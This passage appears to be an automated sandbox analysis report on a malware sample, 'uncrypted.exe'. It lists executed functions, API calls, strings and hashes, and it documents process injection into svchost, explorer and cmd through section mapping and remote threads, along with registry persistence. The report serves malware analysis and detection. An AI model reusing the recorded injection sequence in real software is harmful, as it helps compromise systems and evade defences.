Function 0121E160 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0121E1C6

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5d5d468a950a8dc7ed49678aa11792b2110a1a56801993190c0df4f1b88b3d3e
Instruction ID: e136c7fec062869116cc0e38fceac500b31fdf5213bdb6091acf0590b4080345
Opcode Fuzzy Hash: 5d5d468a950a8dc7ed49678aa11792b2110a1a56801993190c0df4f1b88b3d3e
Instruction Fuzzy Hash: 0D1110B6C002498FDB10DF9AC844ADEFBF4EF89320F10842AD918B7610C379A945CFA1

Function 0108D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050770660.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_108d000_uncrypted.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 630fdb4d729e5fe0f464b0ac88c7c1f03b972ba69d677789ce7c554fc0decb00
Instruction ID: 07c588fe785d588dccdb2d089baaa6054a8973afc15624a399ef5a29bce41cb7
Opcode Fuzzy Hash: 630fdb4d729e5fe0f464b0ac88c7c1f03b972ba69d677789ce7c554fc0decb00
Instruction Fuzzy Hash: 4821D371508204DFDB15EFA8D984B16BFA5EB84354F20C6A9E9C94B396C33AD407CB61

Function 0108D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050770660.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_108d000_uncrypted.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: baf7b6da5eb13098359fce744d2c2efd953930ca279e52789d63e28ca9dcbc7f
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: B611BE75508280CFDB12DF54D5C4B15BFA2FB44314F24C6AAE8894B696C33AD40BCF62

Analysis Process: uncrypted.exePID: 2892, Parent PID: 3856COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 00419140 Relevance: 125.2, APIs: 51, Strings: 20, Instructions: 993libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 0041914E
GetProcAddress.KERNEL32(00000000,?), ref: 004191B1

Strings

H, xrefs: 00419351
WS2_32.DLL, xrefs: 00419AC3
GDI32.DLL, xrefs: 00419410
CRYPT32.DLL, xrefs: 0041A081
SECUR32.DLL, xrefs: 00419F8C
WINMM.DLL, xrefs: 00419DA2
DBGHELP.DLL, xrefs: 00419E97
GDIPLUS.DLL, xrefs: 00419BB8
WINHTTP.DLL, xrefs: 004198D9
ADVAPI32.DLL, xrefs: 00419505
OLE32.DLL, xrefs: 004197E4
USER32.DLL, xrefs: 0041931B
NTDLL.DLL, xrefs: 00419149
n, xrefs: 0041925C
MSI.DLL, xrefs: 00419CAD
KERNEL32.DLL, xrefs: 00419226
SHLWAPI.DLL, xrefs: 004195FA
SHELL32.DLL, xrefs: 004196EF
5, xrefs: 0041953B
WTSAPI32.DLL, xrefs: 004199CE

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: 5$ADVAPI32.DLL$CRYPT32.DLL$DBGHELP.DLL$GDI32.DLL$GDIPLUS.DLL$H$KERNEL32.DLL$MSI.DLL$NTDLL.DLL$OLE32.DLL$SECUR32.DLL$SHELL32.DLL$SHLWAPI.DLL$USER32.DLL$WINHTTP.DLL$WINMM.DLL$WS2_32.DLL$WTSAPI32.DLL$n
API String ID: 2574300362-974314553
Opcode ID: e3e430002b83255cd6f266c08fed002abc7ad3ddd8e6806b3d6c52b59139a0f8
Instruction ID: 5af6799f9cb66f22ec2950afe87d39a47128ff56e9053586588cc2c6fa206a1d
Opcode Fuzzy Hash: e3e430002b83255cd6f266c08fed002abc7ad3ddd8e6806b3d6c52b59139a0f8
Instruction Fuzzy Hash: 8AA23774A05218EFCB14CF64DC94BEAB7B5BB48305F1054AAE50AA3340D778AEC1CF5A

Function 00410D50 Relevance: 109.0, APIs: 44, Strings: 18, Instructions: 544
nativestringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00410D69
_memset.LIBCMT ref: 00410D86

Part of subcall function 00401C50: _wcsrchr.LIBCMT ref: 00401C5C

_memset.LIBCMT ref: 00410DC0
CreateProcessW.KERNELBASE(0047BCD2,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,?), ref: 00410E0A
NtCreateSection.NTDLL(00000000,00000006,00000000,000005F0,00000004,08000000,00000000), ref: 00410E8B
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,000005F0,00000002,00000000,00000004), ref: 00410ED2
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00410EE0
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,000005F0,00000002,00000000,00000004), ref: 00410F2B
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 00410F86
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 00410FCF
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00410FDD
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 00411028
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 00411077
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 004110BD
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 004110CB
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 00411116
_memmove.LIBCMT ref: 0041113E
_memmove.LIBCMT ref: 00411177
_memmove.LIBCMT ref: 004111B0
lstrcpyW.KERNEL32(?,KERNEL32.DLL), ref: 004111D0
lstrcpyW.KERNEL32(?,USER32.DLL), ref: 004111E8
lstrcpyA.KERNEL32(?,LoadLibraryW), ref: 00411200
lstrcpyA.KERNEL32(?,GetProcAddress), ref: 00411217
lstrcpyA.KERNEL32(?,Sleep), ref: 0041122F
lstrcpyA.KERNEL32(?,LoadLibraryA), ref: 00411247
lstrcpyA.KERNEL32(?,LocalAlloc), ref: 0041125E
lstrcpyA.KERNEL32(?,VirtualAlloc), ref: 00411276
lstrcpyA.KERNEL32(?,LocalFree), ref: 0041128E
lstrcpyA.KERNEL32(?,CloseHandle), ref: 004112A5
lstrcpyA.KERNEL32(?,VirtualFree), ref: 004112BD
lstrcpyA.KERNEL32(?,MessageBoxW), ref: 004112D5
lstrcpyA.KERNEL32(?,VirtualProtect), ref: 004112EC
_memmove.LIBCMT ref: 00411329

Part of subcall function 00405710: GetCurrentProcess.KERNEL32(0047F5AC,?,00411363), ref: 00405718
Part of subcall function 00405710: IsWow64Process.KERNEL32(00000000,?,00411363), ref: 0040571F
Part of subcall function 00405710: GetProcessHeap.KERNEL32(?,00411363), ref: 00405725

NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00411457
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 0041146B
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 0041147F
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00411490
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 004114A1
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 004114B2
NtClose.NTDLL(00000000), ref: 004114BF
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 004114F3
CloseHandle.KERNEL32(?), ref: 004115D1
CloseHandle.KERNEL32(?), ref: 004115DE
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 004115EB

Strings

KERNEL32.DLL, xrefs: 004111C4
USER32.DLL, xrefs: 004111D6
777367648777262762, xrefs: 00411181
VirtualAlloc, xrefs: 00411264
LocalFree, xrefs: 0041127C
NTDLL.DLL, xrefs: 00411363
VirtualFree, xrefs: 004112AB
MessageBoxW, xrefs: 004112C3
LocalAlloc, xrefs: 0041124D
897878765347627341, xrefs: 00411148
LoadLibraryA, xrefs: 00411235
GetProcAddress, xrefs: 00411206
RtlCreateUserThread, xrefs: 0041137C
LoadLibraryW, xrefs: 004111EE
VirtualProtect, xrefs: 004112DB
CloseHandle, xrefs: 00411294
Sleep, xrefs: 0041121D
D, xrefs: 00410DC8

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Section$lstrcpy$View$ProcessWow64$Unmap$CreateCurrent_memmove$CloseDisableRedirection$Handle_memset$Heap_wcsrchr
String ID: 777367648777262762$897878765347627341$CloseHandle$D$GetProcAddress$KERNEL32.DLL$LoadLibraryA$LoadLibraryW$LocalAlloc$LocalFree$MessageBoxW$NTDLL.DLL$RtlCreateUserThread$Sleep$USER32.DLL$VirtualAlloc$VirtualFree$VirtualProtect
API String ID: 851839342-117320160
Opcode ID: b2224f8b226e7ea511b9d734777c03b8a2ab762239ba783e776ab89f80f77c31
Instruction ID: 8e27ae5f55abf712d166e728743ac6ae8c417ed9e92c48e352670e92dcec7a34
Opcode Fuzzy Hash: b2224f8b226e7ea511b9d734777c03b8a2ab762239ba783e776ab89f80f77c31
Instruction Fuzzy Hash: 38323EB5A40218AFDB24DF64DC8DF9AB774EB48704F1045E9B20DA7290DB74AE84CF58

Function 00401000 Relevance: 41.0, APIs: 20, Strings: 3, Instructions: 724synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00419140: LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 0041914E

ExitProcess.KERNEL32 ref: 0040103B
_memset.LIBCMT ref: 00401058
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 004010A0
CreateMutexW.KERNELBASE(0000000C,00000000,0047B18C), ref: 004010D2
OpenEventW.KERNEL32(00100002,00000000,004797F4), ref: 00401116
ExitProcess.KERNEL32 ref: 00401197

Strings

%s\svchost.exe, xrefs: 00401737
%s\cmd.exe, xrefs: 0040177B
%s\explorer.exe, xrefs: 004016F6

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: ExitProcessWow64$CreateDisableEventLibraryLoadMutexOpenRedirection_memset
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe
API String ID: 2030883397-2596767422
Opcode ID: 1b1bdfa044f38bd1d07ea9bd9e2dcf74c9d44c73de0847807d9cb33cb774bd22
Instruction ID: 2ecc7c394b58b1c41625a16d2b29e790adc180c7ad411e2bfa6d88d98b836a10
Opcode Fuzzy Hash: 1b1bdfa044f38bd1d07ea9bd9e2dcf74c9d44c73de0847807d9cb33cb774bd22
Instruction Fuzzy Hash: 8062A2B0A402149FDB249F60EC49B9977B5FB44706F1041BAF60DB62E0DBB99AC4CF19

Function 0040CBF0 Relevance: 28.7, APIs: 19, Instructions: 229
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401191), ref: 0040CBF6
lstrcmpiW.KERNELBASE(?,0047C02C), ref: 0040CC1C
lstrcmpiW.KERNEL32(?,0047BA14), ref: 0040CC41

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcmpi$CommandLine
String ID:
API String ID: 651898456-0
Opcode ID: 4d93de4eec2aa3969e8e97d8ea455facc18b1b5651a4922261509d52f99a34b8
Instruction ID: 4ddbac3731ada47e5b8fe08fae1d81555edb17e003b0b40b71001650aaa6c5d5
Opcode Fuzzy Hash: 4d93de4eec2aa3969e8e97d8ea455facc18b1b5651a4922261509d52f99a34b8
Instruction Fuzzy Hash: B1915074A04304EBD7189FA4ED8DBAE7B75FB48705F20823AF616B62D0C7B89441CB59

Function 004084A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004084C0
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 004084D6
_memset.LIBCMT ref: 004084FB
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 0040850F
_memset.LIBCMT ref: 00408534
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00408548
_memset.LIBCMT ref: 0040856D
__snwprintf.LIBCMT ref: 0040858D
_memset.LIBCMT ref: 004085AC
__snwprintf.LIBCMT ref: 004085CC
_memset.LIBCMT ref: 004085EB
__snwprintf.LIBCMT ref: 0040860B
StrCmpIW.KERNELBASE(?,?), ref: 00408621

Strings

%s\svchost.exe, xrefs: 004085BB
%s\cmd.exe, xrefs: 004085FA
%s\explorer.exe, xrefs: 0040857C

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _memset$__snwprintf$Directory$FileModuleNameSystemWindows
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe
API String ID: 60459999-2596767422
Opcode ID: b5bd5c43134f5c68d2434f6ff5daeb3a02a4d9e06ca0d3bb7c8f35eac5b00b71
Instruction ID: e96b8822e26b136014f346bef2b24364fa773f38e8d30bd51aa002ba671eac81
Opcode Fuzzy Hash: b5bd5c43134f5c68d2434f6ff5daeb3a02a4d9e06ca0d3bb7c8f35eac5b00b71
Instruction Fuzzy Hash: 7641FA71A103186AD720EB609C46FE77338AF84B00F4449A9B608E11C1FFB99AD4CF99

Function 00406BC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00406BF4

Part of subcall function 0041D650: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00406C2B,?,00000000), ref: 0041D66C
Part of subcall function 0041D650: GetFileSize.KERNEL32(000000FF,00000000,?,00406C2B,?), ref: 0041D681
Part of subcall function 0041D650: LocalAlloc.KERNELBASE(00000040,000000FF,?,00406C2B), ref: 0041D696
Part of subcall function 0041D650: ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0041D6B7
Part of subcall function 0041D650: CloseHandle.KERNELBASE(000000FF), ref: 0041D6CD

__snwprintf.LIBCMT ref: 00406C57
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00000102,?), ref: 00406C79
RegSetValueExW.KERNELBASE(?,0047C0C8,00000000,00000003,00000000,00000000), ref: 00406CA1
LocalFree.KERNELBASE(00000000), ref: 00406CBF

Strings

SOFTWARE\%s, xrefs: 00406C46

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleOpenReadSizeValue__snwprintf_memset
String ID: SOFTWARE\%s
API String ID: 1138034345-297323700
Opcode ID: f19c92ff1a245698797063612a0a0abab841d21ab3079ac34653b2421a43fb35
Instruction ID: 4dbb56e6917a1da8e171bb8894cbc70e332e4860116f3715e570d109d2154552
Opcode Fuzzy Hash: f19c92ff1a245698797063612a0a0abab841d21ab3079ac34653b2421a43fb35
Instruction Fuzzy Hash: 7921A0B5A40318ABE720DB60DC4DFEA7338FB54700F4085A9E20DA6181E7B89AC4CF58

Function 0041D650 Relevance: 10.6, APIs: 7, Instructions: 62
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00406C2B,?,00000000), ref: 0041D66C
GetFileSize.KERNEL32(000000FF,00000000,?,00406C2B,?), ref: 0041D681
LocalAlloc.KERNELBASE(00000040,000000FF,?,00406C2B), ref: 0041D696
ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0041D6B7
CloseHandle.KERNELBASE(000000FF), ref: 0041D6CD
LocalFree.KERNEL32(00000000), ref: 0041D6E4
CloseHandle.KERNEL32(000000FF,?,00406C2B), ref: 0041D6EE

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: 258461c174a5af7792d2e170b3a5b610d5ba3921d79e7e063af4c8645c32e7f3
Instruction ID: b85e8838005ae7857ce374d04d39e8da710c2da74ff1ddd55a270a0ed82ccddf
Opcode Fuzzy Hash: 258461c174a5af7792d2e170b3a5b610d5ba3921d79e7e063af4c8645c32e7f3
Instruction Fuzzy Hash: C9210875E00208FBDB14DFE4D898FDEB778EB88711F108599F629A72D0D634AA41CB58

Function 00406AE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00406B00
__snwprintf.LIBCMT ref: 00406B3A
lstrlenW.KERNEL32(?), ref: 00406B6D
RegSetValueExW.KERNELBASE(?,0047C1B2,00000000,00000001,?,00000002), ref: 00406B8F

Strings

SOFTWARE\%s, xrefs: 00406B29

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Value__snwprintf_memsetlstrlen
String ID: SOFTWARE\%s
API String ID: 4060651786-297323700
Opcode ID: cf8dcb7eb7b22e55080df15b51e923374bd852b0bc5fca449b6a78fafd7c5703
Instruction ID: fbcec564c88f7f5d5d308845b23355da71e4b7c2306ae5adb6ae419ea5acf669
Opcode Fuzzy Hash: cf8dcb7eb7b22e55080df15b51e923374bd852b0bc5fca449b6a78fafd7c5703
Instruction Fuzzy Hash: 9F11B4B5A003146BDB20DB60DC4DFE73338EB44700F4042A9B61DE61C2EAB49A848B59

Function 00407FE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 00407FFF
RegCreateKeyExW.KERNELBASE(80000001,?,00000000,00000000,00000000,000F013F,00000000,00401578,00000000), ref: 00408026
RegCloseKey.KERNELBASE(00401578), ref: 00408038
_memset.LIBCMT ref: 00408046

Strings

SOFTWARE\%s, xrefs: 00407FEE

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseCreate__snwprintf_memset
String ID: SOFTWARE\%s
API String ID: 2176588963-297323700
Opcode ID: 641c71ac9784cb3a57ab2943aa0143da861c9ce0e151c16bc0d66715283b04a1
Instruction ID: d89a81bad2e92da19c4e3732ea73f8e1d8734e7b63bb46cc24fbd9d7b5bb6ae8
Opcode Fuzzy Hash: 641c71ac9784cb3a57ab2943aa0143da861c9ce0e151c16bc0d66715283b04a1
Instruction Fuzzy Hash: 8211A771A40209B6EB10EBB09D4AFFB732CAB14704F00097DB749E50C1FEB9A648C799

Function 00405CB0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00405D71

Strings

LdrGetProcedureAddress, xrefs: 00405F29

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _malloc
String ID: LdrGetProcedureAddress
API String ID: 1579825452-3058439150
Opcode ID: e34e06494e395cee6efe99d20ff6183dd7e3cf5601c7517009c8d8f59f7a8588
Instruction ID: dab4a983c6c40b0aff8208c0c8e888a8bc771f5e1fbc1f9c5a4fb952750aab3a
Opcode Fuzzy Hash: e34e06494e395cee6efe99d20ff6183dd7e3cf5601c7517009c8d8f59f7a8588
Instruction Fuzzy Hash: 9FA136B1D00218DBEB24EB98CC95BEEB7B5EB48304F1482ADE00677281D7396E85CF55

Function 004080A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 004080BF
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,000F013F,?), ref: 004080DE
RegGetValueW.KERNELBASE(?,?,0047BD20,00000008,00000000,00408057,0000000C), ref: 00408111

Strings

SOFTWARE\%s, xrefs: 004080AE

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: OpenValue__snwprintf
String ID: SOFTWARE\%s
API String ID: 999282410-297323700
Opcode ID: 9d10d6697fe3a29f9e006c8e23d17be86a7ca428fbc77320804d6aac45eef5a5
Instruction ID: 70a00890e79d645c898b447a2cffb9fe1ff2796eb1a97796f0715af71e561167
Opcode Fuzzy Hash: 9d10d6697fe3a29f9e006c8e23d17be86a7ca428fbc77320804d6aac45eef5a5
Instruction Fuzzy Hash: 77019675704308BBD720DBA0DD49FEA7378FF44700F5045A9B64DE6180E7B99A44DB94

Function 00408150 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 0040816F
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,000F013F,?), ref: 0040818E
RegSetValueExW.KERNELBASE(?,0047BD20,00000000,00000003,00408085,0000000C), ref: 004081AB

Strings

SOFTWARE\%s, xrefs: 0040815E

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: OpenValue__snwprintf
String ID: SOFTWARE\%s
API String ID: 999282410-297323700
Opcode ID: 6d3a57c83b3b829178234cc15c44f6c33726e272421d2e346b05e20375fec168
Instruction ID: aed4c7d27855a0ff0e38af9d29d5558bb421efdde5d6169d4f27df16ae01b2c2
Opcode Fuzzy Hash: 6d3a57c83b3b829178234cc15c44f6c33726e272421d2e346b05e20375fec168
Instruction Fuzzy Hash: F4018675B44308BBE710DBA0DD4AFAB7328EB44B40F504579B609AA1C0D6B9AA449B98

Function 0040CA60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,0000FFFE,?,?,?,?,004015D2,00473900), ref: 0040CA88

Part of subcall function 0040CF50: _memset.LIBCMT ref: 0040CFB3

CreateDirectoryW.KERNELBASE(?,0000000C), ref: 0040CAEE

Strings

%s\%s, xrefs: 0040CAA9

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AllocCreateDirectoryLocal_memset
String ID: %s\%s
API String ID: 2132535065-4073750446
Opcode ID: d3d2b31eebb722a1a81289f5ae57c4f4aaf94c55dce4e1f5439fb6196ee5bff7
Instruction ID: 4bfe5e81821697f294c0e6658054cd858778d5f0b8e1fa09720da18102415c62
Opcode Fuzzy Hash: d3d2b31eebb722a1a81289f5ae57c4f4aaf94c55dce4e1f5439fb6196ee5bff7
Instruction Fuzzy Hash: D6214174904208EBDB14DFE4EC89BAE7779FF48701F504575F605A2290C778AA84CB59

Function 0041D590 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 0041D5C6
LocalFree.KERNEL32(00000000), ref: 0041D609

Strings

S:(ML;;NW;;;LW), xrefs: 0041D5C1

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: DescriptorSecurity$ConvertFreeLocalString
String ID: S:(ML;;NW;;;LW)
API String ID: 3326902457-495562761
Opcode ID: 79222ebb5228f6e4e3b2dd9fb378911f885dc9ee49feef9d9fc5a7ce2118e8ff
Instruction ID: c7c91e79f79da7d65a0ee90aa3ae02f9d2027fb2d3caa575ff1c77d4af20dbca
Opcode Fuzzy Hash: 79222ebb5228f6e4e3b2dd9fb378911f885dc9ee49feef9d9fc5a7ce2118e8ff
Instruction Fuzzy Hash: C301DAB5A40209ABEB10DFD0CD59FEFB7B8BB48700F104559E605AA2C0D7B5AA44CBA5

Function 0040014C Relevance: 3.7, APIs: 1, Instructions: 2206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3e56241cb29c3850425ed2d43413ef6fe304864ee02a70e677b39d173f0d9b
Instruction ID: 6066d2bbd51ae5fa476b167245d919cb16194c17d4b571326d94cd7ea5d6c210
Opcode Fuzzy Hash: be3e56241cb29c3850425ed2d43413ef6fe304864ee02a70e677b39d173f0d9b
Instruction Fuzzy Hash: 69519AA580E3C04FD70387B499A96903FB0AE27250B0E45EBC4C5DF1B3D26C5D5AD32A

Function 004018F3 Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00401C35
ExitProcess.KERNEL32(00000000), ref: 00401C3D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitProcessRedirection
String ID:
API String ID: 3835450656-0
Opcode ID: 6fa488a04dd16c96343786a33c2b62a001ae4c619b394e2a8cad49dc75fed1c5
Instruction ID: 91adefb99382e5ad79ee56fd4990a73d0c6f1281317b32aedbce968e10b59d6e
Opcode Fuzzy Hash: 6fa488a04dd16c96343786a33c2b62a001ae4c619b394e2a8cad49dc75fed1c5
Instruction Fuzzy Hash: 1C214F70A041149BDB34DF64DD49B997376FB88315F1046BAE109722A0C7799ED4CF19

Function 00401A0D Relevance: 3.0, APIs: 2, Instructions: 16
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00401C35
ExitProcess.KERNEL32(00000000), ref: 00401C3D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitProcessRedirection
String ID:
API String ID: 3835450656-0
Opcode ID: c10fe2623213f26a604cb30112e900d5acca478250b59268a5f20ae2fd1e4891
Instruction ID: a833c8687c560b03d1da3dd21e147f64b3a6ec987c87aaf55bb09993553c3c6f
